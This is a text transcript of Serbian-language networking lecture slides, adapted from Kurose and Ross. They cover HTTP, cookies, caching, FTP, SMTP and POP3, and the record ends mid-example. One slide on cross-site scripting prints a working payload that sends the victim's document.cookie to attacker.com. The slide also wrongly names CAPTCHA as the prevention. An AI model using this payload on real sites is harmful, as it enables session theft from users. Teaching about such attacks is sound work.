3rd Edition: Chapter 2

Download Report

Transcript 3rd Edition: Chapter 2

Poglavlje 2
Aplikacije
A note on the use of these ppt slides:
We’re making these slides freely available to all (faculty, students, readers).
They’re in PowerPoint form so you can add, modify, and delete slides
(including this one) and slide content to suit your needs. They obviously
represent a lot of work on our part. In return for use, we only ask the
following:
 If you use these slides (e.g., in a class) in substantially unaltered form,
that you mention their source (after all, we’d like people to use our book!)
 If you post any slides in substantially unaltered form on a www site, that
you note that they are adapted from (or perhaps identical to) our slides, and
note our copyright of this material.
Computer Networking:
A Top Down Approach,
5th edition.
Jim Kurose, Keith Ross
Addison-Wesley, April
2009.
Thanks and enjoy! JFK/KWR
All material copyright 1992-2009
J.F Kurose and K.W. Ross, All Rights Reserved
Aplikacije
2-1
Aplikacije
2-2
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-3
Poglavlje 2: Aplikacije
Ciljevi:
• konceptualni i
implementacioni
aspekti protokola
aplikacionog nivoa
o modeli usluga
transportnog nivoa
o klijent-server
paradigma
o peer-to-peer
paradigma
aplikacije
transport
mreža
link
fizički nivo
• popularni protokoli
aplikacionog nivoa
o
o
o
o
HTTP
FTP
SMTP / POP3 / IMAP
DNS
• programiranje
mrežnih aplikacija
o socket API
Aplikacije
2-4
Neke mrežne aplikacije
• e-mail
• social networks
• web
• voice over IP
• instant messaging
• real-time video
• remote login
• P2P file sharing
conferencing
• grid computing
• multi-user network
games
• streaming stored video
clips
Aplikacije
2-5
Kreiranje mrežne aplikacije
pisanje programa koji
o
o
o
se izvršavaju na (različitim)
krajnjim sistemima
komuniciraju preko mreže
npr. web server komunicira
sa browser-om
nema potrebe za pisanjem
softvera za uređaje u
jezgru mreže
o
o
application
transport
network
data link
physical
ti uređaji ne izvršavaju
korisničke aplikacije
to omogućava brz razvoj i
popularizaciju aplikacija
application
transport
network
data link
physical
application
transport
network
data link
physical
Aplikacije
2-6
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-7
Aplikacione arhitekture
• Klijent-server
o
Uključuje velike informacione centre i farme
servera
• Peer-to-peer (P2P)
• Hibridne
Aplikacije
2-8
Klijent-server arhitektura
server:
o host koji je uvek aktivan
o stalna IP adresa
o farme servera
klijenti:
o
klijent/server
o
o
o
komuniciraju sa serverom
mogu biti samo povremeno na
mreži
mogu imati dinamičku IP
adresu
ne komuniciraju direktno
jedni sa drugima
Aplikacije
2-9
Google-ovi informacioni centri
•
•
Procenjena cena jednog centra: $600 mil
Google je potrošio 2.4 milijarde dolara u 2007 na nove
informacione centre, a 3.4 milijarde u 2011
o
o
•
2013: novi singapurski Google informacioni centar = $120 mil
Do 2015: Honk Kong (+$300 mil) i novi centar na Tajvanu ($100 mil)
Svaki centar troši 50-100 megavata snage
Aplikacije
2-10
Google-ovi informacioni centri
• Google Data Centers
http://scitechie.com/12/whats-inside-google-data-center-video/
http://www.google.com/about/datacenters/
Aplikacije
2-11
Google-ovi informacioni centri
Aplikacije
2-12
Wikipedia informacioni centri
Aplikacije
2-13
IBM informacioni centri
• Mobilni informacioni centar IBM-a
Aplikacije
2-14
Čista P2P arhitektura
•
nema servera koji je
uvek aktivan
• krajnji sistemi direktno
peer-peer
komuniciraju
• peer-ovi su povremeno
na mreži i menjaju IP
adrese
Skalabilno ali teško za
održavanje
Aplikacije
2-15
Hibridne klijent-server i P2P
Skype
o voice-over-IP P2P aplikacija
o centralizovan server: pronalazi adrese udaljenih
korisnika
o klijent-klijent konekcija: direktna (ne preko
servera)
Instant messaging
o chat-ovanje dva korisnika je P2P
o centralizovan servis: detekcija i lociranje
klijenta
• korisnik registruje svoju IP adresu sa
centralnim serverom kada je online
• korisnik kontaktira centralni server da
pronađe IP adrese onih sa kojima želi da
komunicira
Aplikacije
2-16
Komunikacija između procesa
Proces: program koji se
izvršava na hostu.
• u okviru istog hosta,
procesi komuniciraju
koristeći međuprocesne
tokove (tredove),
definisane operativnim
sistemom
• procesi u različitim
hostovima komuniciraju
razmenjujući poruke
Klijentski proces:
proces koji inicira
komunikaciju
Serverski proces:
proces koji čeka da
bude kontaktiran
• Napomena: aplikacije sa
P2P arhitekturom imaju
klijentske i serverske
procese
Aplikacije
2-17
Soketi
•
•
proces šalje/prima poruke ka/od
svog soketa
soket je krajnja tačka
međuprocesnih tokova u
računarskoj mreži (def. sledi...)
o
o
•
proces pošiljalac gura poruke
kroz soket
proces pošiljalac se oslanja na
transportnu infrastrukturu sa
druge strane soket-a, koja
odnosi poruke do soketa
prijemnog procesa
host ili
server
host ili
server
kontroliše ga
programer apl.
proces
socket
TCP sa
baferima i
promenljivama
Internet
proces
socket
TCP sa
baferima i
promenljivama
kontroliše ga
operativni sistem
API (application programming interface): programer na raspolaganju
ima (1) izbor transportnog protokola; (2) sposobnost da podesi
nekoliko parametara, kao npr. maksimalnu veličinu segmenta
Aplikacije
2-18
Adresiranje procesa
o da bi primao poruke,
•
Q: da li je IP adresa
hosta na kome se proces
izvršava dovoljna za
identifikator
njegovu identifikaciju?
o host ima jedinstvenu
o A: Ne, više procesa se
32-bitnu IP adresu
mogu izvršavati na
o Vežba: pomoću ipconfig
istoj mašini
komande iz command
• Identifikator uključuje
prompt-a (Windows)
IP adresu i port dodeljen
saznajte svoju IP adresu
datom procesu na hostu.
• Primeri portova:
proces mora da ima
o
o
HTTP server: 80
Mail server: 25
Aplikacije
2-19
Aplikacioni protokol definiše
• Tipove poruka koje se
razmenjuju,
o
npr. zahtev, odgovor
• Sintaksu poruka
o koja polja postoje u
porukama i kako su
razdvojena
• Semantika poruka
o značenje informacija u
pojedinim poljima
• Pravila o tome kada i
kako procesi šalju i
odgovaraju na poruke
Protokoli javnog domena:
o definisani u RFC
dokumentima
o to omogućava
interoperabilnost
o npr. HTTP, SMTP,
BitTorrent
Vlasnički (proprietary)
protokoli:
o npr. Skype, ppstream
Aplikacije
2-20
Koje transportne usluge su potrebne
aplikacijama?
Gubitak podataka
• neke aplikacije (npr. audio)
tolerišu neke gubitke
• neke druge aplikacije (npr.
transfer fajlova, telnet)
zahtevaju 100% pouzdan
prenos
Tajming
o neke aplikacije (npr.
Internet telefonija,
interaktivne igrice)
zahtevaju malo
kašnjenje da bi bile
“efektivne”
Protok
• neke aplikacije (npr.
multimedija) zahtevaju
neki minimalan protok da
bi bile “efektivne”
• neke druge aplikacije
(“elastične aplikacije”)
koriste koji god protok im
je na raspolaganju
Bezbednost
• kriptovanje, integritet
podataka…
Aplikacije
2-21
Zahtevi za transportnim servisom nekih
uobičajenih aplikacija
Aplikacija
Gubici
Protok
file transfer
e-mail
Web documents
real-time audio/video
no loss
no loss
no loss
loss-tolerant
stored audio/video
interactive games
instant messaging
loss-tolerant
loss-tolerant
no loss
elastic
elastic
elastic
audio: 5kbps-1Mbps
video:10kbps-5Mbps
same as above
few kbps up
elastic
Osetljivost na
kašnjenje
no
no
no
yes, 100’s msec
yes, few secs
yes, 100’s msec
yes and no
Aplikacije
2-22
Transportni protokoli Interneta
TCP:
UDP:
•
o nepouzdan prenos podataka
•
•
•
•
sa uspostavom veze:
uspostava veze neophodna
između klijentskog i
serverskog procesa
pouzdan prenos: između
predajnog i prijemnog
procesa
kontrola toka: predajnik neće
zatrpati prijemnik podacima
kontrola zagušenja: usporiti
slanje kada je mreža
preopterećena
ne pruža: tajming, garancije o
min protoku, bezbednost
između predajnog i prijemnog
procesa
o ne omogućava: uspostavu
veze, pouzdanost, kontrolu
toka, kontrolu zagušenja,
tajming, garancije o protoku,
bezbednost
Q: zašto uopšte postoji UDP?
Aplikacije
2-23
Internet aplikacije: aplikacioni i transportni
protokoli
Aplikacija
e-mail
remote terminal access
Web
file transfer
streaming multimedia
Internet telephony
Protokol
aplikacionog nivoa
Protokol
transportnog nivoa
SMTP [RFC 2821]
Telnet [RFC 854]
HTTP [RFC 2616]
FTP [RFC 959]
HTTP (npr. Youtube),
RTP [RFC 1889]
SIP, RTP, vlasnički
(npr. Skype)
TCP
TCP
TCP
TCP
TCP ili UDP
tipično UDP
Aplikacije
2-24
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-25
Web i HTTP
Prvo malo terminologije
• Web stranica se sastoji od objekata
• Objekat može biti HTML fajl, JPEG slika, Java
applet, audio fajl,…
• Web stranica se sastoji od osnovnog HTML-fajla
koji obuhvata nekoliko referenciranih oblekata
• Svaki objekat je adresabilan preko URL
• Primer URL:
www.someschool.edu/someDept/pic.gif
host
putanja
Aplikacije
2-26
HTTP: pregled
HTTP: hypertext
transfer protocol
•
•
protokol aplikacionog nivoa
Web-a
klijent/server model
o klijent: browser koji
zahteva, prima i
“prikazuje” Web objekte
o server: Web server šalje
objekte kao odgovore na
zahteve
PC na kome
je pokrenut
Explorer
Server
na kome se
izvršava
Apache Web
server
Mac na kome
je pokrenut
Navigator
Aplikacije
2-27
HTTP: pregled
Koristi TCP:
•
•
•
•
klijent inicira TCP konekciju
(kreira soket) sa serverom,
na portu 80
server prihvata TCP
konekciju od klijenta
HTTP poruke (poruke
protokola aplikacionog nivoa)
se razmenjuju između
browser-a (HTTP klijent) i
Web servera (HTTP server)
TCP konekcija se zatvara po
završetku prenosa
HTTP je “stateless”
o server ne održava
nikakve informacije o
prošlim zahtevima
klijenta
digresija
Protokoli koji pamte “stanje”
su složeni!
• istorija zahteva (stanje)
se mora pamtiti
• ako server/klijent otkaže,
njihova stanja mogu biti
različita i nekonzistentna i
moraju se “pomiriti”
Aplikacije
2-28
HTTP konekcije
Neperzistentni HTTP
• Najviše jedan objekat
se šalje preko jedne
TCP konekcije.
Perzistentni HTTP
• Više objekata može
biti poslato preko
jedne TCP konekcije
između klijenta i
servera.
Aplikacije
2-29
Neperzistentni HTTP
(sadrži tekst i
Pretpostavimo da je korisnik uneo URL
reference do 10
www.someSchool.edu/someDepartment/home.index
jpeg slika)
1a. HTTP klijent inicira TCP
konekciju sa HTTP serverom
(procesom) na
www.someSchool.edu
na portu 80
2. HTTP klijent šalje HTTP
poruku zahteva (koja sadrži
URL) u soket TCP konekcije.
Poruka govori da klijent želi
objekat
someDepartment/home.index
1b. HTTP server na hostu
www.someSchool.edu čeka
TCP konekcije na portu 80.
“prihvata” konekciju,
obaveštava klijenta
3. HTTP server prima zahtev,
formira poruku odgovora koja
sadrži zahtevani objekat i
šalje poruku u svoj soket
vreme
Aplikacije
2-30
Neperzistentni HTTP
4. HTTP server zatvara TCP
5. HTTP klijent prima poruku
konekciju.
odgovora koja sadrži html fajl;
prikazuje html. Parsira html
fajl, nalazi 10 referenciranih
jpeg objekata
vreme 6. Koraci 1-5 se ponavljaju za
svaki od 10 jpeg objekata
Aplikacije
2-31
Neperzistentni HTTP: vreme odgovora
Definicija RTT (Round Trip
Time): vreme za koje mali
paket ode od klijenta do
servera i nazad.
Vreme odgovora:
• jedan RTT za iniciranje
TCP konekcije
• jedan RTT za HTTP
zahtev i prvih nekoliko
bajtova HTTP odgovora
da se vrate
• vreme emitovanja fajla
ukupno =
2RTT + vreme emitovanja
iniciranje TCP
konekcije
RTT
zahtev
fajla
RTT
fajl
primljen
vreme
vreme
emitovanja
fajla
vreme
Aplikacije
2-32
Perzistentni HTTP
Problemi neperzistentnog HTTP:
• zahteva 2 RTT-a po objektu
• zaglavlje operativnog sistema
za svaku TCP konekciju
• browser-i obično otvaraju
paralelne TCP konekcije za
prenos referenciranih
objekata
Perzistentni HTTP
• server ostavlja otvorenu
konekciju nakon slanja
odgovora
• naredne HTTP poruke
između istog klijenta i
servera se šalju preko
otvorene konekcije
• klijent šalje zahteve čim
naiđe na referencirane
objekte
• samo jedan RTT za sve
referencirane objekte
Aplikacije
2-33
HTTP zahtev
• dva tipa HTTP poruka:
zahtevi i odgovori
• HTTP zahtev:
o ASCII (human-readable format)
linija zahteva
(GET, POST,
HEAD komande)
GET /somedir/page.html HTTP/1.1
Host: www.someschool.edu
linije User-agent: Mozilla/4.0
zaglavlja Connection: close
Accept-language:fr
carriage return,
(dodatni carriage return, line feed)
line feed
(prazan red sa cr\lf)
ukazuju na kraj poruke
Aplikacije
2-34
HTTP zahtev: opšti format
Aplikacije
2-35
Upload-ovanje korisničkog inputa
POST metoda:
• Web stranica često uključuje mesto za korisnički
“input” (npr. kod pretraživača)
• Taj unos se šalje serveru u “entity body” polju
URL metoda:
• koristi GET metodu
• Input se šalje u URL polju linije zahteva:
www.somesite.com/animalsearch?monkeys&banana
Aplikacije
2-36
Tipovi metoda
HTTP/1.0
• GET
• POST
• HEAD
o
zahtev serveru da
izostavi navedeni
objekat iz odgovora
HTTP/1.1
• GET, POST, HEAD
• PUT
o
upload-uje fajl iz
“entity body” polja na
putanju specificiranu u
URL polju
• DELETE
o briše fajl specificiran
URL poljem
Aplikacije
2-37
HTTP odgovor
statusna linija
(protokol
statusni kôd
statusna fraza)
linije
zaglavlja
podaci, npr.
zahtevani
HTML fajl
HTTP/1.1 200 OK
Connection close
Date: Thu, 06 Aug 1998 12:00:15 GMT
Server: Apache/1.3.0 (Unix)
Last-Modified: Mon, 22 Jun 1998 …...
Content-Length: 6821
Content-Type: text/html
data data data data data ...
Aplikacije
2-38
HTTP odgovor: statusni kodovi
U prvoj liniji odgovora server -> klijent.
Nekoliko primera:
200 OK
o
zahtev uspešan, zahtevani objekat je u ovoj poruci
301 Moved permanently
o
zahtevani objekat premešten, nova lokacija navedena
kasnije u ovoj poruci (linija zaglavlja Location:)
400 Bad request
o
server ne razume zahtev
404 Not Found
o
zahtevani dokument nije pronađen na ovom serveru
505 HTTP Version Not Supported
Aplikacije
2-39
Isprobajte HTTP (klijent) sami
1. Telnet ka Web serveru:
telnet cis.poly.edu 80
Otvara TCP konekciju na portu 80
(default HTTP serverski port) na cis.poly.edu.
Bilo šta što ukucate se šalje
na port 80 na cis.poly.edu
2. Unesite GET HTTP zahtev:
GET /~ross/ HTTP/1.1
Host: cis.poly.edu
Unošenjem ovoga (i unošenjem
dvostrukog “carriage return”),
šaljete minimalan (ali kompletan)
GET zahtev HTTP serveru
3. Pogledajte odgovor koji je poslao HTTP server!
4. Isprobajte isti primer sa HEAD metodom.
Aplikacije
2-40
Memorisanje interakcije
korisnika i servera: cookie
Mnogi veliki Web sajtovi
koriste cookie-je
Četiri komponente:
1) cookie linija zaglavlja u
HTTP ogdovoru
2) cookie linija zaglavlja u
HTTP zahtevu
3) cookie fajl se čuva na
korisnikovom hostu i
održava ga korisnikov
browser
4) “back-end” baza
podataka na Web sajtu
Primer:
• korisnik uvek pristupa
Internetu sa svog PC-ja
• posećuje dati sajt etrgovine po prvi put
• kada inicijalni HTTP
zahtev stigne na sajt,
sajt kreira:
o jedinstveni ID
o unos u bazi podataka
za taj ID
Aplikacije
2-41
Cookie: pamćenje ranije interakcije
klijent
ebay 8734
cookie fajl
ebay 8734
amazon 1678
server
uobičajen http zahtev
Amazon server
uobičajen http odgovor kreira ID 1678
Set-cookie: 1678
za korisnika kreiraj
unos
uobičajen http zahtev
cookie: 1678
nedelju dana kasnije:
uobičajen http odgovor
akcija koja pristup
zavisi od
backend
cookie-ja
pristup
ebay 8734
amazon 1678
uobičajen http zahtev
cookie: 1678
uobičajen http odgovor
baza
podataka
akcija koja
zavisi od
cookie-ja
Aplikacije
2-42
Cookie (nastavak)
Šta donosi cookie:
• autorizacija
• kolica za kupovinu
• preporuke
• stanje korisničke sesije
(Web e-mail)
digresija
Cookie i privatnost:
• cookie-ji omogućavaju
sajtovima da saznaju
dosta o vama
• možete ostaviti ime i
e-mail na sajtu
Kako se pamti stanje:
• krajnje tačke protokola: održavaju
informacije na predajniku/prijemniku
o ranijoj komunikaciji
• cookie: http poruke prenose stanje
Aplikacije
2-43
Tipovi cookie-ja
• Cookie jedne sesije
o Traje dok god korisnik koristi website. Kreira se bez
“Expires” direktive. Obično se postavlja iz PHP-a ili
JavaScript-a
• Perzistentni cookie
o Može trajati i do godinu dana. Inicijalna vrednost iz
cookie-ja se šalje na website svaki put kada mu se korisnik
ponovo obrati.
• Bezbednosni cookie
o Kriptovan svaki put kada se šalje od klijenta ka serveru.
Primena kod HTTPS konekcije
• HTTPOnly cookie
o Koristi se za prenos samo HTTP ili HTTPS zahteva
Aplikacije
2-44
Tipovi cookie-ja (nastavak)
• Cookie treće strane
o
•
Super cookie
o
o
o
o
o
•
Coockie prve strane se postavlja od strane domena koji se vidi u adresnom
polju pretraživača. Cookie treće strane je cookie postavljen od strane nekog
drugog domena od onog koji se vidi u adresnom polju pretraživača.
Cookie koji ima samo sufiks javnog domena, npr. .com, .co.uk ili .rs.
Može rekreirati sve korisniče cookie-je sa istim sufiksom i preusmeriti
pretraživač na adresu iz cookie-ja ili poslati sve informacije na neki
hakerski sajt
Uveo ih je Microsoft radi špijuniranja korisnika
Otkrio ih je Jonathan Mayer sa Stanford Univerziteta
Danas su zabranjeni (“www.example.com” ili “.example.com” nasuprot “.com”)
Zombi cookie
o
Cookie koji se sam reaktivira nakon što ga korisnik obriše. To se postiže
smeštanjem cookie-ja na nestandardne lokacije, kao što su privremeni
folderi za smeštaj sadržaja Flash aplikacija, HTML 5 aplikacija i drugi
Aplikacije
2-45
Primer postavljanja cookie-ja
• Pretraživač (zahtev) -> server
GET /index.html HTTP/1.1
Host: www.example.org
• Server (postavljanje) -> pretraživač
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed, 09 Jun 2021 10:18:14 GMT
(sadržaj HTML stranice)
• Pretraživač (budući zahtevi) -> server
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value; name2=value2
Accept: */*
Aplikacije
2-46
Cross-site scripting (XSS)
(krađa cookie-ja)
• Napadač ubacuje spript na neki web sajt
<a href="#" onclick="window.location=
'http://attacker.com/stole.cgi?text='+escape(document.cookie);
return false;">
Click here!
</a>
• Samy virus na MySpace-u
o klik na “Samy is my hero” na nekom profilu šalje Samy nalogu
“friend request” i postavlja istu porku na žrtvin profil
o Ginisov rekord u brzini širenja virusa
• Prevencija: CAPTCHA
Aplikacije
2-47
Cross-site Request Forgery (CSRF)
“See-surf” ili “one click attack”
• Za razliku od XSS-a koji zloupotrebljava žrtvino
poverenje u neki sajt, CSRF zloupotrebljava
poverenje koje sajt ima u korisnički pretraživač
• Preduslovi:
o
o
o
o
Napadač mora ciljati sajt koji ne proverava referntni heder (što je
često) ili žrtvu čiji pretraživač ima bag koji dozvoljava maskiranje
napada (što je retko)
Napadač mora locirati proceduru za podnošenje forme ili direktan
URL koji će proizvesti neki efekat (npr., transfer novca, promena email adrese ili lozinke)
Napadač mora utvrditi prave vrednosti za sva polja u formi ili sve
parametre URL-a. Ako je bilo koji od njih skriveni parametar za
autorizaciju i napadač ih ne poznaje, napad će propasti
Napadač mora namamiti žrtvu da poseti sajt sa štetnim hakerskim
kodom u vreme dok je logovana na sajt na čiju se zloupotrebu cilja
Aplikacije
2-48
Web keširanje (proxy server)
Cilj: ispuniti klijentske zahteve bez kontaktiranja servera
• korisnik podešava
browser: pristupa
Web-u preko proxy-ja
• Browser šalje sve
HTTP zahteve proxyju
o
o
objekat keširan: proxy
vraća objekat
u suprotnom, proxy
zahteva objekat od
izvornog servera i
nakon toga šalje
objekat klijentu
izvorni
server
klijent
klijent
Proxy
server
izvorni
server
Aplikacije
2-49
Još o Web keširanju
• proxy se ponaša i kao
klijent i kao server
• tipično proxy instalira
ISP (univerzitetski,
kompanijski,
rezidencijalni ISP)
Zašto Web keširanje?
• smanjuje vreme odgovora na
klijentske zahteve
• smanjuje saobraćaj na
pristupnom linku institucije.
• omogućava “slabijim”
provajderima nekog servisa
da efektivno isporuče željeni
sadržaj (ali to radi i P2P file
sharing)
Aplikacije
2-50
Primer keširanja
izvorni
serveri
Pretpostavke
•
•
•
prosečna veličina objekta =
1,000,000 bita
prosečan broj zahteva od
institucionalnih browser-a ka
serverima = 15 zahteva/sec
kašnjenje od institucionalnog
rutera do bilo kog servera i
nazad = 2 sec
Posledice
javni
Internet
15 Mbps
pristupni link
institucionalna
mreža
iskorišćenje LAN-a = 15%
• iskoričćenje pristupnog linka = 100%
• ukupno kašnjenje = Internet
kašnjenje + pristupno kašnjenje +
LAN kašnjenje
= 2 sekunde + minuti + millisekunde
100 Mbps LAN
•
institucionalni
proxy
Aplikacije
2-51
Primer keširanja
izvorni
serveri
moguće rešenje
•
povećati propusni opseg
pristupnog linka na npr.
100 Mbps
javni
Internet
posledice
•
•
•
•
iskorišćenje LAN-a = 15%
iskorišćenje pristupnog linka = 15%
ukupno kašnjenje = Internet
institucionalna
kašnjenje + pristupno kašnjenje +
mreža
LAN kašnjenje
= 2 sekunde + milisekunde +
milisekunde
skupo rešenje
100 Mbps
pristupni link
100 Mbps LAN
institucionalni
proxy
Aplikacije
2-52
Primer keširanja
moguće rešenje: instalirati
proxy
•
pretpostavimo da je procenat
uspeha proxy-ja 0.4
izvorni
serveri
javni
Internet
posledice
•
•
•
•
40% zahteva će biti zadovoljeno
skoro odmah
60% zahteva zadovoljeno od
strane izvornog servera
institucionalna
iskorišćenost pristupnog linka
mreža
smanjena na 60%, što rezultuje u
zanemarljivim kašnjenjima (npr.
10 msec)
ukupno prosešno kašnjenje =
Internet kašnjenje + pristupno
kašnjenje + LAN kašnjenje =
60%*(2.01) sec +
40%*milisekunde < 1.4 sec
15 Mbps
pristupni link
100 Mbps LAN
institucionalni
proxy
Aplikacije
2-53
Uslovni GET
•
•
Cilj: ne šalji objekat ako
proxy ima ažurnu verziju
proxy: specificira datum
keširane kopije u HTTP
zahtevu
If-modified-since: <date>
•
server: odgovor ne sadrži
objekat ako je keširana kopija
ažurna:
HTTP/1.0 304 Not Modified
server
keš
HTTP zahtev
If-modified-since:
<date>
HTTP odgovor
objekat
nije
modifikovan
HTTP/1.0
304 Not Modified
HTTP zahtev
If-modified-since:
<date>
HTTP odgovor
objekat
modifikovan
HTTP/1.0 200 OK
<podaci>
Aplikacije
2-54
Uslovni GET – zaobilaženje sa strane servera
<html>
<head>
...
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<meta http-equiv="cache-control" content="no-cache">
...
</head>
<body>
...
</body>
</html>
Aplikacije
2-55
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-56
FTP: file transfer protocol
korisnik
na hostu
•
•
•
•
FTP
FTP
korisnički klijent
interfejs
lokalni
disk
prenos fajla
FTP
server
udaljeni
sistem
fajlova
prenos fajlova na/sa udaljenog hosta
klijent/server model
o klijent: strana koja inicira transfer (ka ili od druge
strane)
o server: udaljeni host
ftp: RFC 959
ftp server: port 21
Aplikacije
2-57
FTP: posebne konekcije za kontrolu i prenos
•
•
•
•
•
TCP kontrolna konekcija
port 21
FTP klijent kontaktira FTP
server na portu 21 (preko TCP-a
na transportnom nivou)
TCP konekcija za
FTP
FTP
podatke
autorizacija klijenta preko
klijent
port 20
server
kontrolne konekcije
klijent pretražuje direktorijume
• server otvara novu TCP
na udaljenom hostu slanjem
konekciju za prenos podataka
komandi preko kontrolne veze.
za prenos drugog fajla.
kada server primi komandu za
• kontrolna konekcija: “van
prenos fajla, otvara drugu TCP
kanala (out of band)”
konekciju (za podatke) sa
• FTP server održava “stanje”:
klijentom na portu 20
trenutni direktorijum, ranija
nakon prenosa jednog fajla
autentikacija
server zatvara konekciju za
prenos podataka.
Aplikacije
2-58
FTP komande i odgovori
Primeri komandi:
Primeri povratnih kodova:
šalju se kao ASCII tekst
preko kontrolnog kanala
USER username
PASS password
•
•
LIST vraća listu fajlova u
trenutnom direktorijumu
•
•
RETR filename komanda
za slanje fajla
•
STOR filename prenos
fajla na udaljeni host
•
•
•
•
•
•
statusni kôd i fraza (kao
kod HTTP-a)
331 Username OK,
password required
125 data connection
already open;
transfer starting
425 Can’t open data
connection
452 Error writing
file
Aplikacije
2-59
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
o 2.6 P2P aplikacije
o 2.7 Soket programiranje
sa UDP-om
o 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-60
Elektronska pošta
odlazne poruke
korisnikov mailbox
Tri glavne komponente:
•
•
•
korisnička strana (user agent)
mail serveri
simple mail transfer protocol:
SMTP
User Agent (UA)
• ili “mail reader”
• sastavlja, otvara, prikazuje
poruke…
• npr. Eudora, Outlook, elm,
Mozilla Thunderbird
• odlazne i dolazne poruke su
smeštene na serveru
user
agent
mail
server
SMTP
SMTP
mail
server
user
agent
SMTP
user
agent
mail
server
user
agent
user
agent
user
agent
Aplikacije
2-61
Elektronska pošta: mail serveri
user
agent
Mail Serveri
•
•
•
mailbox sadrži dolazne
poruke za korisnika
red poruka koje treba da
budu prosleđene
SMTP protokol između mail
servera za slanje email
poruka
o “klijent” = mail server
koji šalje poruku
o “server” = mail server
koji prima poruku
mail
server
SMTP
SMTP
mail
server
user
agent
SMTP
user
agent
mail
server
user
agent
user
agent
user
agent
Aplikacije
2-62
Elektronska pošta: SMTP [RFC 2821]
•
•
•
•
koristi TCP za pouzdan prenos email-ova od klijenta do
servera, port 25
direktan prenos: predajni server ka prijemnom serveru
tri faze transfera
o handshake
o prenos poruka
o zatvaranje
interakcija sa komandama i odgovorima
o komande: ASCII text
o odgovor: statusni kôd i fraza
• poruke moraju biti u 7-bitnom ASCII formatu
Aplikacije
2-63
Scenario: Jovana šalje poruku Milošu
1) Jovana koristi UA za
sastavljanje poruke i
zadavanje odredišta
[email protected]
2) Jovanin UA šalje poruku
njenom mail serveru; poruka
se smešta u red
3) Klijentska strana SMTP-a
otvara TCP konekciju sa mail
serverom hamburger.edu
1
user
agent
2
mail
server
3
4) SMTP klijent šalje Jovaninu
poruku preko TCP konekcije
5) hamburger.edu mail server
smešta poruku u Milošev
mailbox
6) Miloš kaže svom UA da primi i
prikaže poruke sa mail servera
hamburger.edu
mail
server
4
5
6
user
agent
Aplikacije
2-64
Primer SMTP interakcije između
mail servera C = crepes.fr (šalje poruku od Jovane)
S = hamburger.edu (prima poruku za Miloša)
S:
C:
S:
C:
S:
C:
S:
C:
S:
C:
C:
C:
S:
C:
S:
220 hamburger.edu
HELO crepes.fr
250 Hello crepes.fr, pleased to meet you
MAIL FROM: <[email protected]>
250 [email protected]... Sender ok
RCPT TO: <[email protected]>
250 [email protected] ... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Zdravo, Milose!
Šta ima novo? Javi se. Pozz, Jovana
.
250 Message accepted for delivery
QUIT
221 hamburger.edu closing connection
Aplikacije
2-65
Isprobajte SMTP sami:
• telnet servername 25
• videćete 220 odgovor od servera
• ukucajte HELO, MAIL FROM, RCPT TO, DATA,
QUIT komande
Ovo vam omogućava da pošaljete email bez korišćenja
email klijenta (reader-a)
Aplikacije
2-66
SMTP: još nekoliko reči
•
•
•
SMTP koristi perzistentne
konekcije
SMTP zahteva da poruka
(zaglavlje i telo) bude u 7bitnom ASCII formatu
SMTP server koristi
CRLF.CRLF da odredi kraj
poruke
Poređenje sa HTTP:
•
•
HTTP: pull
SMTP: push
•
Oba imaju interakciju
pomoću ASCII komandi i
odgovora i statusne kodove
•
HTTP: svaki objekat je
enkapsuliran u sopstvenu
poruku
•
SMTP: više objekata se
šalju u poruci koja se
sastoji iz više delova
Aplikacije
2-67
Format mail poruke
SMTP: protokol za razmenu
email poruka
RFC 822: standard za format
tekstualnih poruka:
• linije zaglavlja, npr.
o
o
o
To:
From:
Subject:
zaglavlje
prazna
linija
telo
različite od SMTP komandi!
•
telo
o
“poruka”, samo ASCII
karakteri
Aplikacije
2-68
Protokoli za prijem pošte
user
agent
SMTP
SMTP
predajni mail
server
•
•
pristupni
protokol
user
agent
prijemni mail
server
SMTP: isporuka i smeštanje na prijemnikov server
Protokol ta pristup mailu: prijem sa servera
o POP: Post Office Protocol [RFC 1939]
• autorizacija (user agent <-->server) i download
o IMAP: Internet Mail Access Protocol [RFC 1730]
• više mogućnosti (složeniji)
• manipulacija porukama smeštenim na serveru
o HTTP: gmail, Hotmail, Yahoo! Mail, itd.
Aplikacije
2-69
POP3 protokol
faza autorizacije
•
•
komande klijenta:
o user: username
o pass: password
odgovori servera
o +OK
o -ERR
faza prenosa, klijent:
•
•
•
•
list: izlistaj brojeve poruka
retr: primi poruke po broju
dele: obriši
quit
S:
C:
S:
C:
S:
+OK POP3 server ready
user milos
+OK
pass hungry
+OK user successfully logged
C:
S:
S:
S:
C:
